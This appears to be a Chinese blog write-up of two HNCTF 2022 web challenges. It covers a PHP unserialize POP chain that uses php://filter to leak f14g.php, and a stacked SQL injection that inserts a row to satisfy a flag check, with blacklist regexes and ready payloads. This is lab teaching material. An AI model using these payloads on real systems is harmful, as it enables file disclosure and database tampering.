// 2.此处当作函数执行 也就是 $this->p=new Popuko();
// __get 当访问不可访问或者不存在的属性是触发
public function __get($corepop){
$function = $this->p;
return $function();
}
}
class Goodsisters{ public function PopukoPipimi(){
$is = "Good sisters";
} public $kiminonawa,$str; public function __construct($file='index.php'){
$this->kiminonawa = $file;
echo 'Welcome to HNCTF2022 ,';
echo 'This is '.$this->kiminonawa."<br>";
}
// 3.此处当作访问不存在的属性(Pipimi类的) 也就是 $this->str=new Pipimi();
// __toString 以字符串方式调用对象实例触发
public function __toString(){
return $this->str->kiminonawa;
} // 4.此处$this->kiminonawa触发 $this->kiminonawa=new Goodsisters();
public function __wakeup(){
if(preg_match("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.\./i", $this->kiminonawa)) {
echo "仲良ピース!";
$this->kiminonawa = "index.php";
}
}
} if(isset($_GET['pop'])) @unserialize($_GET['pop']); else{
$a=new Goodsisters;
if(isset($_GET['pop_EP']) && $_GET['pop_EP'] == "ep683045"){
highlight_file(__FILE__);
echo '欸嘿,你也喜欢pop子~对吧ww';
}
}

POC

<?php
//flag is in f14g.php
class Popuko {
private $No_893;
public function __construct(){
$this->No_893 ="php://filter/read/convert.base64-encode/resource=f14g.php";
}
} class Pipimi{
public $pipi;
}
class Goodsisters{
public $kiminonawa,$str;
}
$a= new Goodsisters();
$b = new Pipimi();
$c = new Popuko();
$a->kiminonawa = $a;
$a->str=$b;
$b->p=$c;
echo(urlencode(serialize($a)));

payload

class Popuko {
private $No_893;
public function __construct(){
$this->No_893 ="php://filter/read/convert.base64-encode/resource=f14g.php";
}
} class Pipimi{
public $pipi;
}
class Goodsisters{
public $kiminonawa,$str;
}
$a= new Goodsisters();
$b = new Pipimi();
$c = new Popuko();
$a->kiminonawa = $a;
$a->str=$b;
$b->p=$c;
echo(urlencode(serialize($a)));

[WEEK4]fun_sql

考点就是堆叠注入 其实挺简单的

做的时候不知道脑子是不是抽筋了 我插入数据忘记查询了 不会犯这种错误咯!!!

分析

打开题目就是源码

<?
include "mysql.php";
include "flag.php"; if ( $_GET['uname'] != '' && isset($_GET['uname'])) { $uname=$_GET['uname'];
//黑名单 发现没有过滤; insert into order by
if(preg_match("/regexp|left|extractvalue|floor|reverse|update|between|flag|=|>|<|and|\||right|substr|replace|char|&|\\\$|0x|sleep|\#/i",$uname)){
die('hacker'); } $sql="SELECT * FROM ccctttfff WHERE uname='$uname';";
echo "$sql<br>"; // mysqli_multi_query就是堆叠注入标志 可以执行多条sql语句
mysqli_multi_query($db, $sql);
$result = mysqli_store_result($db);
$row = mysqli_fetch_row($result); echo "<br>"; echo "<br>";
if (!$row) {
die("something wrong");
}
else
{
print_r($row);
echo $row['uname']."<br>"; }
// 如果输入的名字在被查询到可以返回flag
if ($row[1] === $uname)
{
die($flag);
}
}
highlight_file(__FILE__);

我们目的就是返回flag,要求输入的uname 和 sql语句查询的uname 相等 那么我们思路就是插入一个uname 然后再查询

首先 看看本表多少列,4报错 3 正常所以3列

我们拆入数据 正常来讲有uname的一般表中列的顺序一般就是 id-uname-passwd

uname一般放到第二个 我们试试

但是其实也可以三列插入一样的值 这样也不需要猜东西啦

payload

?uname=1';insert into ccctttfff value(55,55,55);--+
?uname=55 或者 ?uname=1';insert into ccctttfff value(1,'name',3);--+
?uname=name

2022HNCTF--WEB的更多相关文章

  1. C# Web应用调试开启外部访问

    在用C#开发Web应用时有个痛点,就是本机用VS开启Web应用调试时外部机器无法访问此Web应用.这里将会介绍如何通过设置允许局域网和外网机器访问本机的Web应用. 目录 1. 设置内网访问 2. 设 ...

  2. 网页提交中文到WEB容器的经历了些什么过程....

    先准备一个网页 <html><meta http-equiv="Content-Type" content="text/html; charset=gb ...

  3. 闲来无聊,研究一下Web服务器 的源程序

    web服务器是如何工作的 1989年的夏天,蒂姆.博纳斯-李开发了世界上第一个web服务器和web客户机.这个浏览器程序是一个简单的电话号码查询软件.最初的web服务器程序就是一个利用浏览器和web服 ...

  4. java: web应用中不经意的内存泄露

    前面有一篇讲解如何在spring mvc web应用中一启动就执行某些逻辑,今天无意发现如果使用不当,很容易引起内存泄露,测试代码如下: 1.定义一个类App package com.cnblogs. ...

  5. 对抗密码破解 —— Web 前端慢 Hash

    (更新:https://www.cnblogs.com/index-html/p/frontend_kdf.html ) 0x00 前言 天下武功,唯快不破.但在密码学中则不同.算法越快,越容易破. ...

  6. 使用 Nodejs 搭建简单的Web服务器

    使用Nodejs搭建Web服务器是学习Node.js比较全面的入门教程,因为要完成一个简单的Web服务器,你需要学习Nodejs中几个比较重要的模块,比如:http协议模块.文件系统.url解析模块. ...

  7. 一步步开发自己的博客 .NET版(11、Web.config文件的读取和修改)

    Web.config的读取 对于Web.config的读取大家都很属性了.平时我们用得比较多的就是appSettings节点下配置.如: 我们对应的代码是: = ConfigurationManage ...

  8. Web性能优化:What? Why? How?

    为什么要提升web性能? Web性能黄金准则:只有10%~20%的最终用户响应时间花在了下载html文档上,其余的80%~90%时间花在了下载页面组件上. web性能对于用户体验有及其重要的影响,根据 ...

  9. Web性能优化:图片优化

    程序员都是懒孩子,想直接看自动优化的点:传送门 我自己的Blog:http://cabbit.me/web-image-optimization/ HTTP Archieve有个统计,图片内容已经占到 ...

  10. 使用ServiceStack构建Web服务

    提到构建WebService服务,大家肯定第一个想到的是使用WCF,因为简单快捷嘛.首先要说明的是,本人对WCF不太了解,但是想快速建立一个WebService,于是看到了MSDN上的这一篇文章 Bu ...

随机推荐

  1. 初次认识 Canvas

    画布的概念 Canvas(画布)可以用于动画.游戏画面.数据可视化.图片编辑以及实时视频处理等方面.画布在 HTML5 中是通过canvas标签来表现,通过 JavaScript 提供的画布 API, ...

  2. 演示RabbitMQ的交换类型

    一.Direct exchange 新建一个名为direct_exchange的Direct exchange 添加队列direct_queue1 添加队列direct_queue2 direct_e ...

  3. git revert总结

    git revert git revert 是一种创建一次新的commit 来回退某次或某几次commit的一种方式 命令 // 创建一个新的commit,这个commit会删除(下面)commit- ...

  4. JavaWeb核心篇(3)——JSP,MVC,三层架构

    JavaWeb核心篇(3)--JSP,MVC,三层架构 在本篇文章中我们会学习到JSP,MVC,三层架构 虽然JSP已经快被时代所淘汰,但是在一些老旧的工作场所还是有在使用,所以了解一下也不为过 至于 ...

  5. Flink SQL 子图复用逻辑分析

    子图复用优化是为了找到SQL执行计划中重复的节点,将其复用,避免这部分重复计算的逻辑.先回顾SQL执行的主要流程 parser -> validate -> logical optimiz ...

  6. 重新扫描磁盘.bat

    工作需要,需要常常扫描磁盘, 以前是先调用磁盘管理器,然后使用alt+a,再按r,完成对磁盘的扫描 但是速度慢效率低 昨天帮朋友装台式电脑系统的时候,他说要给磁盘分区, 发现磁盘内有卷被占用,无法删除 ...

  7. Java SE 多态

    1.多态 方法的多态 //方法重载体现多态 A a = new A(); //这里我们传入不同的参数,就会调用不同sum方法 System.out.println(a.sum(10,20)); Sys ...

  8. Logstash:Logstash-to-Logstash 通信

    文章转载自:https://elasticstack.blog.csdn.net/article/details/117253545 在有些时候,我们甚至可以建立 Logstash-to-Logsta ...

  9. 使用Filebeat传送多行日志

    文章转载自:https://blog.csdn.net/UbuntuTouch/article/details/106272704 在解决应用程序问题时,多行日志为开发人员提供了宝贵的信息. 堆栈跟踪 ...

  10. DeepHyperX代码理解-HamidaEtAl

    代码复现自论文<3-D Deep Learning Approach for Remote Sensing Image Classification> 先对部分基础知识做一些整理: 一.局 ...